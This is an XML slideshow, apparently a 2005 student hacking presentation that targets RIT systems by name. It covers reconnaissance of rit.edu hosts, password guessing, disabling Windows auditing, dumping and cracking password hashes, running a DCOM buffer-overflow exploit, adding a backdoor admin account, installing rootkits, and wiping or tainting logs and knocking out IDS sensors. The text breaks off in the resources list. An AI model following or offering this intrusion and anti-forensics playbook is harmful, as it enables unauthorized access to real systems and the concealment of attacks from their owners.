<?xml version="1.0"?>
<?xml-stylesheet type="text/xml" href="presenter.xsl"?>
<slideshow>
	<title> Hackery </title>
	<slide> <title>Hacking</title><!--{{{-->
		<body>
			Hacking requires patience, knowledge, and the proper tools. Patience
			doesn't grow on trees. If you don't have it, you're not going to be
			doing anything useful. Knowledge is crucial when trying to break a
			system. Lastly, without the proper tools, you aren't going to be
			effective.

			<p/>

			It pretty much goes like this:
			<ol>
				<li> Reconnaissance (scanning, discovery, enumeration) </li>
				<li> Penetration (oh baby?) </li>
				<li> Cleanup </li>
				<li> Expand influence </li>
			</ol>

			Reconnaissance requires patience. Mapping network resources isn't
			fast. Passive mapping (sniffing, etc) is even slower. Social
			engineering takes effort and skill. Generally, gathering information
			is often the most time-consuming task (for your computer or yourself).

			<p/>

			Penetration is the fun part, breaking into a machine or network. Now
			that you know what services are running where, and how the network is
			layed out, etc, you need to break in. Different attacks work against
			different services, and certainly there are going to be exploits
			available for the older network services.

			<p/>

			The next step once you've broken in should be to install some sort of
			backdoor or other utility, probably called a root kit, to help ensure
			your connectivity and "ownership" of that machine. The next step, once
			you've secured a machine is to clean up any audit trails that machine
			may have of your break in attempts. Cover your tracks.

			<p/>

			Now that your tracks are covered, you can probably move on to another
			machine if you get bored on your existing machine. Your infection of
			one machine may lead you to more easily compromise other machines.
			
		</body>
	</slide><!--}}}-->

	<slide> <title>Reconnaissance</title><!--{{{-->
		<body>
			Reconnaissance is a long word...
		  
			<p/>
			But more than that, it's the first set of activities you'll need to be
			doing when you want to exploit vulnerabilities. How, you might ask, are
			you supposed to do surveillance and discovery? Good thing you asked.
			There are a number of scanning and discovery tools available to you in
			both Windows and Unix. 

			<p/>

			This is always the first step on the road of mischief. You can't hack
			what you can't see, right? So you are going to need to find out what
			services and software is being run on whatever you're wanting to break.
			Textbooks on hacking will talk about buzzwords like <i>enumeration</i>,
			<i>foot-printing</i>, and <i>scanning</i>. Long-story-short, you need to
			discover what is available on the network for exploitation.

			<p/>

			<ul>
				<li> foot-printing: Who are we going to target? </li>
				<li> scanning: What services and machines are online? How is the
				network configured? </li>
				<li> enumeration: What versions of services are running? How can we
				exploit them? </li>
			</ul>

			There are a number of ways to do all of the above, some methods are
			passive scans while others are active. Passive means you don't have to
			touch the machine. Active, obviously the opposite, means you need to
			poke something, making yourself visible. These methods may include:
			sniffing traffic, banner scanning, port scanning, service queries and
			other various probes.
		</body>
	</slide><!--}}}-->

	<slide> <title>Foot-printing</title><!--{{{-->
		<body>
			Understanding the targets complete technical setup (domain names,
			location of critical systems, VPN access points, third party
			connectivity, etc.)
			<p/>

			Techniques:

			<ul>
				<li>Do Whois searches to get company information (tech contacts), name servers, MX records, etc</li>
				<li>Search Google for: tsweb/Default.htm or other known defaults like C:\Inetpub (<a href="http://www.hillsboroughtitle.com/tsweb/default.htm">here's an example</a>)</li>
			</ul>

			Guessing passwords is a simple and inelegant approach but its highly effective  especially with Windows users
			<ul>
				<li>Lab or Test accounts (Username: Test, Password: NULL)</li>
				<li>Password or useful hints in comment field</li>
				<li>Try shared group accounts (like backup or admin)</li>
				<li>Check for new accounts or users that haven't changed their
				password recently, they may have a password of 'welcome' or
				the name of the organization (such as 'rit').</li>
			</ul>
		</body>
	</slide><!--}}}-->

	<slide> <title> Vulnerability Recon </title><!--{{{-->
		<body>
			<h4> Beware the awesome power of... the Banner </h4>
			Knowing what version of the service is being run will help immensely.
			Banner version probes will help? Knowing what service and version are
			running will help you in your mighty quest for exploits. 

			<p/>

			Lots of services have banners on connect, ssh and smtp are just a few:
			<code><![CDATA[% nc -w 1 mail.rit.edu 25
220 filer2.rit.edu -- Server ESMTP (PMDF V6.2-X26#30844)
% nc -w 1 filer2.rit.edu 22  
SSH-2.0-3.2.5 SSH Secure Shell (non-commercial)
]]></code>

			Whew! That was hard. Now I know filer2.rit.edu. This server also
			happens to be mail.rit.edu, thanks banner!. Now know what versions
			of the mail system are running (PMDF?) and what version of
			ssh is running on that server: ssh.com's ssh server, called "SSH
			Secure Shell." 

			<p/>
			Software version numbers aren't the only data you can glean from
			banners. Take <i>filer2.rit.edu</i>'s telnet banner:
			<code><![CDATA[% nc -w 1 filer2.rit.edu 23

Logging session: unknown@whack.csh.rit.edu to filer2.rit.edu

****************************************************************************
**                                                                        **
**                   UNAUTHORIZED CONNECTION REFUSED                      **
**                                                                        **
**                  Information Systems and Computing                     **
**                  Rochester Institute of Technology                     **
**                                                                        **
**      This system is not for general user access, and connections       **
**      are restricted. Please disconnect immediately, and do not         **
**      attempt to re-connect.                                            **
**                                                                        **
**      General user systems are the VMScluster nodes (vaxa-f, vms1-4),   **
**      Grace, or any SGI workstation.                                    **
**                                                                        **
**           Questions may be directed to the ISC Help Desk at:           **
**                  services@rit.edu or (716) 475-4357                    ** 
**                                                                        **
****************************************************************************


]]></code>

			Well someone certainly doesn't want me logging in via telnet, right?
			They were kind enough to show me that the telnet banner hasn't been
			updated in at least 4 years. How do I know that? Having done my
			research (Have you?) I know that <b>ISC</b> no longer exists at RIT. It
			is now called <b>ITS</b>. Furthermore, the area code for Rochester, NY
			was changed to 585 several years ago (4ish?). There's a pretty good
			chance that the telnet service hasn't been updated since then either.
			My next task would be to figure out what kind of system and version of
			telnet it is running, but I already know it's a Tru64 4.1 machine from
			past experience. I can probably guess that it's running a standard
			telnet daemon. Now all I need to do is look for exploits.

			<p/>

			How about some more recon? It helps if you really know how to use the
			protocols you want to exploit if you don't have a tool to probe
			information for you. Let's ask RIT about it's primary webserver, shall
			we?

			<code><![CDATA[% echo "HEAD / HTTP/1.0\n" | nc www.rit.edu 80
HTTP/1.1 200 OK
Date: Wed, 21 Sep 2005 06:50:06 GMT
Server: Apache/1.3.9 Apache-SSL/1.36 (Unix) mod_perl/1.21 PHP/3.0.12
Connection: close
Content-Type: text/html
]]></code>

			Apache 1.3.9? PHP 3.x? This webserver hasn't been updated since 1999.
			Hopefully by now you understand what banner probing is. If not, then
			perhaps you should consider a more Liberal Arts-like major.

			Obviously, Google is a clear option for looking for what is probably
			exploitable. Other websites that can clue you into vulnerability
			information are:

			<ul>
			<li> <a href="http://www.cert.org">CERT</a> - Computer
			Emergency Response Team. A very popular place to find new vulnerability
			information.</li>
			<li> <a href="http://www.securityfocus.com">SecurityFocus</a> -
			 another hugely popular website for vulnerability disclosure and
			 reports</li>
			<li> <a href="http://www.secunia.com">Secunia</a> -
			well-presented website with up-to-date information on vulnerabilities
			on lots of software. Easy to search, categorized by types and
			applications. </li>
			<li> <a href="http://www.zone-h.org">zone-h</a> - a more
			"hacker"-oriented security vulnerability site </li>
			</ul>
		</body>
	</slide><!--}}}-->

	<slide> <title>Post-Reconnaissance</title><!--{{{-->
		<body>
			So you've done your homework. You discovered machines and services,
			perhaps you also know the version of some services that are running.
			What next? 
			
			<p/>

			Using your knowledge of how the network is connected and what services
			are running, you need to find (or write) the tools that will help you
			exploit these services.

			<p/>

			Understand what is exploitable requires an understanding of the
			services themselves. You need to consider the following:

			<ul>
				<li> Is the service network-oriented? </li>
				<li> Does it require local login to access? </li>
				<li> Might the service use host-based trust relationships? </li>
				<li> Can you exploit the service by using MITM? </li>
				<li> Are there known vulnerabilities for this particular version? </li>
				<li> Does the network service use encryption? </li>
			</ul>

			If you don't have physical access to the machine, you obviously have
			only one route in, from the network. To get local access, a network
			service needs to be exploited. Most often this can be in the form of a
			buffer overflows, but other exploit methods are still likely.
		</body>
	</slide><!--}}}-->

	<slide> <title> Networked Services </title><!--{{{-->
		<body>
			In today's average multi-computer, multi-user environment, you can
			expect to find many networked services. A Windows environment might
			have such services as file and print sharing, shared authentication,
			Active Directory, remote desktop, VNC, and others. A Unix environment
			may have other services such as nfs, nis, ldap, ssh, etc. Any
			environment is just as likely to have mail and web services.

			<p/>

			Many of these services will be vulnerable to simple MITM (Man In The
			Middle) attacks or other kinds of attacks such as remote resource
			starvation. MITM attacks are easily executed using prewritten tools
			and work for most standard unsecured services. However, without proper
			trust verification, many "secure" service protocols are also vulnerable
			to MITM attacks.

			<p/>
			Simple network-based attacks include:
			<ul>
				<li> MITM </li>
				<li> Syn flood (resource starvation) </li>
				<li> Switch poisoning and IP spoofing </li>
			</ul>

			Think your precious SSL-protected services are free from script
			kiddies? With OpenSSL I can simply connect as if I were using telnet.

		</body>
	</slide><!--}}}-->

	<slide> <title> (Unix) Tools </title><!--{{{-->
		<body>
			It's getting to be that time where theory and such aren't going to be
			enough to help you. You need tools and the knowledge to employ them.
			For the moment, let's pretend we are in the scanning and enumeration
			phase of our shenanigans. Let's also pretend that we have a fairly
			basic install of a modern free Unix-like operating system, such as
			Linux, FreeBSD, or OpenBSD.

			<p/>
			The most basic tools you will have at your disposal are going to be the
			following:
			<ul>
				<li> ping </li>
				<li> nslookup/host/dig </li>
				<li> telnet </li>
				<li> netcat </li>
				<li> tcpdump/snoop </li>
				<li> openssl </li>
				<li> grep </li>
			</ul>

			Believe it or not, with these basic tools, you can do almost all of the
			scanning and enumeration you will need to do. Certainly it doesn't hurt
			to have better, faster tools at your disposal, so you'll want to get
			your hands on:

			<ul>
				<li> netcat (if you don't have it) </li>
				<li> <a href="http://insecure.org/nmap">nmap</a> - network mapping
				tool </li>
				<li> <a
				href="http://www.laurentconstantin.com/en/netw/netwox/">netwox</a> -
				network testing utility toolkit </li>
				<li> <a href="http://ettercap.sf.net">ettercap</a> - MITM/sniffing
				tool </li>
				<li> <a href="http://www.ethereal.com">ethereal</a> - tcpdump for
				kids who aren't cool enough for tcpdump. </li>
				<li> <a
				href="http://www.securityfocus.com/tools/176">fragrouter?</a> - tool
				for testing firewall stupidity (with fragmented packets) </li>
				<li> <a href="http://xprobe.sourceforge.net">xprobe2</a> - extremely
				fast remote OS fingerprinting tool</li>
				<li> <a href="www.monkey.org/~dugsong/dsniff/">dsniff</a> -
				connection of audit and penetration tests </li>

			</ul>
		</body>
	</slide><!--}}}-->

	<slide> <title> (Unix) Scanning </title><!--{{{-->
		<body>
			<center><img
			src="http://images.insecure.org/nmap/images/prop/nmap_bnr_matrix_iain.gif"
			align="center"/></center>
			<br/>
			There are two things you want to do first when scanning:
			<ul>
			<li>nmap to find online machines and services</li>
			<li>dig/nslookup for a zone transfer from a dns server</li>
			</ul>

			Both of these will give you plenty of information about what the
			network looks like. READ THE NMAP MAN PAGE, THANKS.

			<p/>

			<code><![CDATA[
whack(~) [1002] % nmap -sP 129.21.38.0/24

Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-09-21 03:27 EDT
Host 129.21.38.0 appears to be up.
Host jueunie.rit.edu (129.21.38.33) appears to be up.
Host rm13141.rit.edu (129.21.38.72) appears to be up.
Host prlbenrd.rit.edu (129.21.38.177) appears to be up.
Host rm13108.rit.edu (129.21.38.183) appears to be up.
Host rm07364.rit.edu (129.21.38.190) appears to be up.
Nmap finished: 256 IP addresses (6 hosts up) scanned in 1.319 seconds
]]></code>
			
			Well I certainly know what machines are alive on the small section of
			the network I scanned. You can do more in-depth scanning on individual
			hosts or on an entire subnet by doing a different kind of scan. Other
			typical scans are:
			<ul>
				<li> -sT : tcp connect() scan </li>
				<li> -sS : TCP SYN scan, initiates the TCP connection handshake </li>
				<li> -sV : Version detection (Banner probes) </li>
			</ul>

			There are obviously other options and other scanning methods, but like
			I said: Read the manpage. If you have questions, ask.

		</body>
	</slide><!--}}}-->

	<slide> <title> Scanning Notes </title><!--{{{-->
		<body>
		Thinks you should keep in mind:
		<ul>
			<li> Some firewalls don't take kindly to certain network scans </li>
			<li> Overzealous scanning will get noticed. </li>
			<li> Certain kinds of scans may incapacitate weaker machines
			(Accidental? DoS)</li>

			<li> IDS's WILL log your activity. If you can incapacitate the IDS,
			you'll have less of an audit trail. </li>
		</ul>
		</body>
	</slide><!--}}}-->

	<slide> <title>(Unix) Enumeration </title><!--{{{-->
		<body>
			Hopefully by now you know what ports are open and on what machines.
			Now you'll need to find out what versions of what software are
			running. Some folks decide that <i>security through obscurity</i>
			(Microsoft, anyone?) is the best strategy for security. Chances are
			you may find a service running on a nonstandard port.

			<p/>

			Banner and protocol testing:
			<ul>
				<li> nmap -sV </li>
				<li> netcat or telnet </li>
			</ul>

			Some protocols may not have banners (http, ldap, etc) so you'll need
			to "guess" at the protocol if it doesn't present a banner.
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) Foundstone ScanLine </title><!--{{{-->
		<body>
			Options:<br/>
			<code>
-b  - Get port banners
-c  - Timeout for TCP and UDP attempts (ms). Default is 4000
-d  - Delay between scans (ms). Default is 0
-f  - Read IPs from file. Use "stdin" for stdin
-g  - Bind to given local port
-h  - Hide results for systems with no open ports
-i  - For pinging use ICMP Timestamp Requests in addition to Echo Requests
-j  - Don't output "-----..." separator between IPs
-l  - Read TCP ports from file
-L  - Read UDP ports from file
-m  - Bind to given local interface IP
-n  - No port scanning - only pinging (unless you use -p)
-o  - Output file (overwrite)
-O  - Output file (append)
-p  - Do not ping hosts before scanning
-q  - Timeout for pings (ms). Default is 2000
-r  - Resolve IP addresses to hostnames
-s  - Output in comma separated format (csv)
-t  - TCP port(s) to scan (a comma separated list of ports/ranges)
-T  - Use internal list of TCP ports
-u  - UDP port(s) to scan (a comma separated list of ports/ranges)
-U  - Use internal list of UDP ports
-v  - Verbose mode
-z  - Randomize IP and port scan order

Example: sl -bht 80,100-200,443 10.0.0.1-200
			</code>
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) ScanLine Example</title><!--{{{-->
		<body>
			<code><![CDATA[
	C:\ >sl -b -p -t 22 <machinename>
	ScanLine (TM) 1.01
	Copyright (c) Foundstone, Inc. 2002
	http://www.foundstone.com

	Scan of 1 IP started at Tue Sep 20 22:58:39 2005

	-----------------------------------------------------------
	129.21.##.##
	Responds with ICMP unreachable: No
	TCP ports: 22


	TCP 22:
	[SSH-1.99-OpenSSH_3.7p1]

	-----------------------------------------------------------

	Scan finished at Tue Sep 20 22:58:39 2005

	1 IP and 1 port scanned in 0 hours 0 mins 0.02 secs
]]>
			</code>
		</body>
	</slide><!--}}}-->

	<slide> <title> (Windows) Enumeration</title><!--{{{-->
		<body>
			Extracting information like user accounts and poorly protected
			resource shares
			<p/>

			Useful Built-in Tools:

			<dl>
				<dt>To show available domains </dt>
				<dd> net view /domain </dd>
				<dt> To show all computers on that domain: </dt>
				<dd> net view /domain:&lt;domainname&gt; </dd>
				<dt>Show system name, domain, logged-on users and running
				services: </dt>
				<dd>nbtstat A &lt;ipaddr&gt;</dd>
			</dl>
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) Auditing</title><!--{{{-->
		<body>
			Check Auditing Policies:
			<code><![CDATA[
C:\ >auditpol \\<computername>
Running ...

(X) Audit Enabled     <- Auditing enabled, need to turn it off

AuditCategorySystem            = Success and Failure
AuditCategoryLogon             = Success and Failure
AuditCategoryObjectAccess      = Success and Failure
AuditCategoryPrivilegeUse      = Success and Failure
AuditCategoryDetailedTracking  = Success and Failure
AuditCategoryPolicyChange      = Success and Failure
AuditCategoryAccountManagement = Success and Failure
Unknown                        = Success and Failure
Unknown                        = Success and Failure
]]>
</code>

Turn off Auditing:
<code><![CDATA[
C:\ >auditpol \\<computername> /disable
Running ...

Audit information changed successfully on \\<computername> ...
New audit policy on \\<computername> ...

(0) Audit Disabled

AuditCategorySystem            = Success and Failure
AuditCategoryLogon             = Success and Failure
AuditCategoryObjectAccess      = Success and Failure
AuditCategoryPrivilegeUse      = Success and Failure
AuditCategoryDetailedTracking  = Success and Failure
AuditCategoryPolicyChange      = Success and Failure
AuditCategoryAccountManagement = Success and Failure
Unknown                        = Success and Failure
Unknown                        = Success and Failure
]]>
			</code>
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) Password Hashes</title><!--{{{-->
		<body>
			<code><![CDATA[
C:\ >pwdump2 576 > hashes.txt

Administrator:50aa0:
Bob:10cwec03:
Guest:50:aad3b4404ee
HelpAssistant:1000:
SUPPORT_38wwgw945a0:1002:

C:\>john hashes.txt
Loaded 2 passwords with no different salts (NT LM DES [24/32 4K])
(Bob:2)
FOO              (Bob:1)
guesses: 2  time: 0:00:00:01 (3)  c/s: 153442  trying: FAS -
NSK
]]>
			</code>
	  </body>
  </slide><!--}}}-->

  <slide> <title>(Windows) Searching the Filesystem</title><!--{{{-->
	  <body>
		  <code><![CDATA[
C:\ >find "password" *.txt

---------- PLEASE_DONT_README.TXT
i save user's passwords in plain text files, yay!
]]>
			</code> 
			Or for more in-depth results, use findstr:
			<code><![CDATA[
C:\ findstr /s payroll *.xls (searches in current and all subdirectories)
]]></code>
	  </body>
  </slide><!--}}}-->

	<slide> <title> Penetration *moan* </title><!--{{{-->
		<body> 
			Penetration is just what it sounds like. the "break in" process of
			hacking someone elses poor machines. Penetration can occur a number of
			ways, but the primary means are either through remote exploitation or
			local exploitation.

			<p/>

			Things to exploit:
			<ul>
				<li> Networked services often employ trust relationships for
				security. </li>
				<li> Many network services are unencrypted </li>
				<li> Many (especially older) service software is extremely
				vulnerable </li>
				<li> Local attacks are more effective than remote attacks </li>
			</ul>

			Break in remotely, secure your position on the machine locally, THEN
			worry about doing other nasty things. If you don't install a root kit
			or other tool to ensure your continued access to this machine via the
			network, it is very possible that the exploit you use on a machine is a
			one-time kind of attack that brings down the service. You may only get
			one shot.
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) Hacking Services</title><!--{{{-->
		<body>
		<h4>IIS</h4>
		Using telnet or netcat, you may connect to the IIS server on port 80
		and execute commands to perform buffer overflows or queries to get more
		information like the current version (HEAD / HTTP/1.0 [CRLF] [CRLF]).

		<p/>

		<h4>SQL Server</h4>
		Can be as simple as using the Query Analyzer and connecting to the remote
		SQL server and guessing the sa password. If guessing doesn't work, tools
		like SQLdict or sqlbf will perform brute force dictionary attacks on the
		sa account password.  If thats too much work for you, a tool called
		sqlpoke will search for SQL servers that have a blank sa account
		password.

		<p/>

		Also, SQL server passwords are not encrypted by default, just scrambled. A
		simple XOR scheme simply disguises the password. So, all you have to do is
		take a packet capture and then convert it over using this method:

		<p/>

		<![CDATA[
		Hex A2 -> 2A (swap) -> binary -> XOR with binary of 5A -> convert back to
		hex and get the first letter of the password<br><br>
		]]>

		Finally, code injection is always a possibility with IIS (as it is with an
		database server).
		
		<p/>

		<h4>Terminal Services</h4>
		To locate a terminal server, scan machines for an open TCP 3389 port or do
		a Google search for the default TS Web Authentication page. Also, tools
		like TSProbe and TSEnum will search the subnet for terminal servers. An
		application TSGrinder (hammerofgod.com) will perform dictionary attacks
		against a terminal server and since a TS logon is the equivalent of an
		interactive logon, there is no lockout threshold for the Administrator
		account. 
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) NetBIOS Null Sessions</title><!--{{{-->
		<body>
			<code>net use \\target\ipc$  /user:</code>

			Originally, Microsoft allowed anyone who was un-authenticated access to
			the system to browse lists of users and other connected systems.  It
			turns out this is a bad idea (surprised?)<br />

			Microsoft had placed null sessions into the everyone group giving them
			access to privileged information.  Microsoft has now created the
			Authenticated Users group in Windows 2003 and later versions of Windows
			2000.  With this you could then get access to information about all of
			the groups, users, SMB shares, and even privilege information. <br /> 

			Once you have a machine scanned, look for ports 135, 137,138, and 139.
			If they are available then the machine may be vulnerable to Null
			Sessions. <br />
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) NetBIOS Null Session Tools</title><!--{{{-->
		<body>
			<ul>
				<li><b>DumpSec</b> - An enumeration program that provides a GUI
				interface to enumerate groups, users, shares, and permissions
				<br/>

				<img src="http://home.ubalt.edu/abento/753/enumeration/dumpsec.gif"
				width="400" />
				<br/>
				</li>

				<li><b>enum</b> - Can retrieve userlists, machine lists,
				sharelists, namelists, group and member lists, password and LSA
				policy information. enum is also capable of a rudimentary brute
				force dictionary attack on individual accounts.</li>
				<code><![CDATA[
usage:  enum  [switches]  [hostname|ip]
	-U:  get userlist
	-M:  get machine list
	-N:  get namelist dump (different from -U|-M)
	-S:  get sharelist
	-P:  get password policy information
	-G:  get group and member list
	-L:  get LSA policy information
	-D:  dictionary crack, needs -u and -f
	-d:  be detailed, applies to -U and -S
	-c:  don't cancel sessions
	-u:  specify username to use (default "")
	-p:  specify password to use (default "")
	-f:  specify dictfile to use (wants -D)
]]>
				</code>
			</ul>
		</body>
	</slide><!--}}}-->

	<slide> <title>(Windows) DCOM Exploits</title><!--{{{-->
		<body>
			DCOM is the Distributed Component Object Model, and is a method that
			Microsoft uses to allow many of their software applications to
			communicate with each other and other Windows systems.  

			<p/>

			Downloaded Exploit at <a href="http://www.securityforest.com/">Security
			Forest</a> via the ExploitTree.

			<code><![CDATA[
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM <hdm [at] metasploit.com>
- Usage: ./dcom <Target ID> <Target IP>
- Targets:
-          0    Windows 2000 SP0 (english)
-          1    Windows 2000 SP1 (english)
-          2    Windows 2000 SP2 (english)
-          3    Windows 2000 SP3 (english)
-          4    Windows 2000 SP4 (english)
-          5    Windows XP SP0 (english)
-          6    Windows XP SP1 (english)
]]>
			</code>

			<code><![CDATA[
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM <hdm [at] metasploit.com>

- Using return address of 0x77f92a9b
]]>
			</code>

			This will give you a Windows Systems Level Shell to play with.  So what
			do we do from here?  Time to copy over something nice and fun to give
			us access, but how?  

			<code><![CDATA[
C:\> net user NewAdmin CoolPassword /add
C:\> net localgroup Administrators NewAdmin /add 
]]></code>

			Now browse the administrative share on the pc, \\Computer\\c$ and
			upload a file, then use your DCOM shell to run your uploaded programs.
		</body>
	</slide><!--}}}-->

	<slide> <title>Metasploit</title><!--{{{-->
		<body>

		</body>
	</slide><!--}}}-->

	<slide> <title> Expanding your Influence </title><!--{{{-->
		<body>
			Based on services running on systems, start tracking down other hosts
			this host may have access to. Employ any passwords that you have
			gained by cracking password hashes as likely guesses for accounts on
			other machines.  If your mission is just to be a jack ass, start
			altering key files and tainting audit logs.

			<p/>

			Examine your new pet machine and look for trust relationships with other hosts. Look for shared authentication, networked disk (nfs or samba), etc. You need to know about the system before you can use it to your advantage.
		</body>
	</slide><!--}}}-->

	<slide> <title>Root Kits</title><!--{{{-->
		<body>
			A root kit is a tool you use once a machine has been compromised to
			maintain your access to the system later.  There are many root kits
			available for Windows systems that will do many different tasks.  Some
			will simply give you a VNC connection to the system, while others will
			log keystrokes, web connections, and logins to other machines to
			extend your evil influence.  Finally, Root kits will very carefully
			hide themselves in Windows so that uneducated (and some educated)
			people will not know they are there.

			Root kit automated cleanup attempts are almost always easily discovered
			(utmp gets blown away, for example) becuase root kit programmers are
			probably just lazy. There are many automated root-kit checking systems
			available for free and for dollars.

			<ul>
				<li><b>Back Orifice</b> - "BO2K puts network administrators solidly
				back in control. In control of the system, network, registry,
				passwords, file system, and processes. BO2K is a lot like other
				major file-synchronization and remote control packages that are on
				the market as commercial products."</li>
				<li><b>FU</b> - The FU root kit is a another option that has the
				ability to run itself, and then uses Direct Kernel Object
				Manipulation to elevate the status of its process from a user level
				program to a system level program, giving it nearly unlimited
				access.</li>
				<li><b>Klister</b> - Klister is not a root kit, but instead an
				information gathering tool about a system.  It uses different
				kernel level methods of gathering information so that it can find
				information about even some other root-kits. </li>
			</ul>

			<u>For more information: </u>
			<ol>
				<li><a href="http://en.wikipedia.org/wiki/Root_kit">wikipedia's
				article on root kits</a> </li>
				<li><a href="http://www.rootkit.com/">http://www.rootkit.com/</a></li>
				<li><a href="http://www.egocrew.de/download.html">http://www.egocrew.de/download.html</a></li>
			</ol>
		</body>
	</slide><!--}}}-->

	<slide> <title>Tools You Should Have</title><!--{{{-->
		<body>

			Here is a good list of tools that you might want to keep around on a
			CD for next week:

			<DIV style="width: 50%; position:absolute">
				<ol>
					<li>Ethereal for Windows and Unix</li>
					<li>NMap for Windows and Unix</li>
				</ol>
			</DIV>

			<DIV style="width:50%; position:absolute; right: 0px">
				<ol>
					<li>enum</li>
					<li>DumpSec</li>
					<li>Windows 2000 Support Tools / Resource Kit</li>
					<li>Windows 2003 Support Tools / Resource Kit</li>
				</ol>
			</DIV>
		</body>
	</slide><!--}}}-->

	<slide> <title> Clean Up! </title><!--{{{-->
		<body>
			Clean up your tracks! Audit logs are a bitch. If you get root, or
			otherwise gain access to logs, do as much meaningful damage to them as
			you can. You have three options with logs:
			<ul>
				<li> wipe them </li>
				<li> scramble them or otherwise taint them </li>
				<li> leave them alone </li>
			</ul>

			I'd recommend choosing the first or second option. Wiping logs is
			definately the easiest, but if you taint the logs it's possible the
			unexpecting sysadmin or forensics nerd will expect logs to be either
			gone or untouched. Feel free to insert your own clever log entries to
			confuse whoever has the pleasure of tracing your tracks.
		</body>
	</slide><!--}}}-->

	<slide> <title> Tricks </title><!--{{{-->
		<body>

		</body>
	</slide><!--}}}-->

	<slide> <title> Operation: Kill IDS </title><!--{{{-->
		<body>
			An Intrusion Detection System is your worst enemy when you're being
			naughty. Perhaps "worst" is too strong of a word, but who cares! An IDS
			will log your scanning, dns queries, etc, assuming it's configured
			properly. Snort, by default, will log most suspicious activities (zone
			transfers, etc). 

			<p/>
			What can we do? Luckily, there are ways to detect passive sniffers (IDS)
			on the network. Such programs as anti_sniff and sentinel allow you to
			probe for promiscuous (sniffing) nodes. There are whitepapers online about
			various methods by which to detect machines that are sniffing traffic,
			most involve tricking buggy drivers into responding when they shouldn't
			when in promiscuous mode.

			<p/>
			<ul>
			<li> <a href="http://www.wiretapped.net/indexes/network-monitoring.html">Wiretapped Security Software</a></li>
			<li><a href="http://www.csh.rit.edu/~jubei/boxfinder/index.txt">boxfinder</a></li>
			</ul>

			<p/>
			Once you've discovered a sniffing device (Hopefully an IDS), you can
			try disabling it one of a few ways:
			<ul>
				<li> bombard it with millions of tiny packets, so the kernel is
				forced to drop packets to keep up with the network </li>
				<li> exploit a bug in the IDS (if you can) </li>
				<li> Others? </li>
			</ul>
		</body>
	</slide><!--}}}-->

	<slide> <title> OpenSSL </title><!--{{{-->
		<body>
			So IIS is running with SSL only (https, port 443). How do you figure
			out what version it's running? OpenSSL comes with a wonderful utility
			called... <i>openssl</i>. Any modern unix will be using openssl, so
			this tool should be available.

			<p/>

			For example, let's talk to RIT's secure IMAP server (port 993):
			<code><![CDATA[
% openssl s_client -quiet -connect mymail.rit.edu:993
depth=1 /C=GB/O=Comodo Limited/OU=Comodo Trust Network/OU=Terms and
Conditions of use: http://www.comodo.net/repository/OU=(c)2002 Comodo
Limited/CN=Comodo Class 3 Security Services CA
verify error:num=20:unable to get local issuer certificate
verify return:0
* OK Microsoft Exchange Server 2003 IMAP4rev1 server version 6.5.7226.0
(svits20.main.ad.rit.edu) ready.
]]></code>
			
			So mymail.rit.edu also happens to be svits20.main.ad.rit.edu. Running
			Exchange Server 2003, version whatever. 

			<p/>

			You can clearly see that despite the fact that it's a secure
			connection, I obviously still connect to it. The same is true for
			secure http (https, port 443):

			<code><![CDATA[% echo "HEAD / HTTP/1.0\n" | openssl s_client -quiet -connect www.rit.edu:443
HTTP/1.1 200 OK
Date: Wed, 21 Sep 2005 21:14:48 GMT
Server: Apache/1.3.9 Apache-SSL/1.36 (Unix) mod_perl/1.21 PHP/3.0.12
Connection: close
Content-Type: text/html
]]></code>

			You get the idea. So any tool that lets me generate queries that will
			break, say, Apache 1.3.9 will still work becuase I can use openssl to
			connect to secure http and use them. Yay Unix.

		</body>
	</slide><!--}}}-->

	<slide> <title> LiveCDs for Justice </title><!--{{{-->
		<body>
			LiveCDs are happy little tools that you can stick into a machine and
			boot a utility-oriented OS install. Probably Linux + some tools. There
			are a number of security-related livecds available to you. A HUGE list
			of known livecd kits are available here:<br/>
			<a
			href="http://www.frozentech.com/content/livecd.php">http://www.frozentech.com/content/livecd.php</a>
			<br/>
			You can search for security-related LiveCDs on that site.

			<p/>

			<a href="http://www.knoppix-std.org/tools.html">Knoppix STD</a> seems
			to have a fair set of useful tools, you might start with that.

		</body>
	</slide><!--}}}-->
		
	<slide> <title> Resources </title>
		<body>
			Security Alert Resources:
			<ul>
			<li> <a href="http://www.cert.org">CERT</a> - Computer
			Emergency Response Team. A very popular place to find new vulnerability
			information.</li>
			<li> <a href="http://www.securityfocus.com">SecurityFocus</a> -
			 another hugely popular website for vulnerability disclosure and
			 reports</li>
			<li> <a href="http://www.secunia.com">Secunia</a> -
			well-presented website with up-to-date information on vulnerabilities
			on lots of software. Easy to search, categorized by types and
			applications. </li>
			<li> <a href="http://www.zone-h.org">zone-h</a> - a more
			"hacker"-oriented security vulnerability site </li>
			</ul>

			Unix tools:
			<ul>
				<li> netcat (if you don't have it) </li>
				<li> <a href="http://insecure.org/nmap">nmap</a> - network mapping
				tool </li>
				<li> <a
				href="http://www.laurentconstantin.com/en/netw/netwox/">netwox</a> -
				network testing utility toolkit </li>
				<li> <a href="http://ettercap.sf.net">ettercap</a> - MITM/sniffing
				tool </li>
				<li> <a href="http://www.ethereal.com">ethereal</a> - tcpdump for
				kids who aren't cool enough for tcpdump. </li>
				<li> <a
				href="http://www.securityfocus.com/tools/176">fragrouter?</a> - tool
				for testing firewall stupidity (with fragmented packets) </li>
				<li> <a href="http://xprobe.sourceforge.net">xprobe2</a> - extremely
				fast remote OS fingerprinting tool</li>
				<li> <a href="www.monkey.org/~dugsong/dsniff/">dsniff</a> -
				connection of audit and penetration tests </li>
			</ul>

			<ul>
			<li> <a href="http://www.securityforest.com/">Security Forest</a> - Home of the Exploit Tree </li>

			</ul>

			Rootkit Info:
			<ul>
				<li><a href="http://en.wikipedia.org/wiki/Root_kit">wikipedia's
				article on root kits</a> </li>
				<li><a href="http://www.rootkit.com/">http://www.rootkit.com/</a></li>
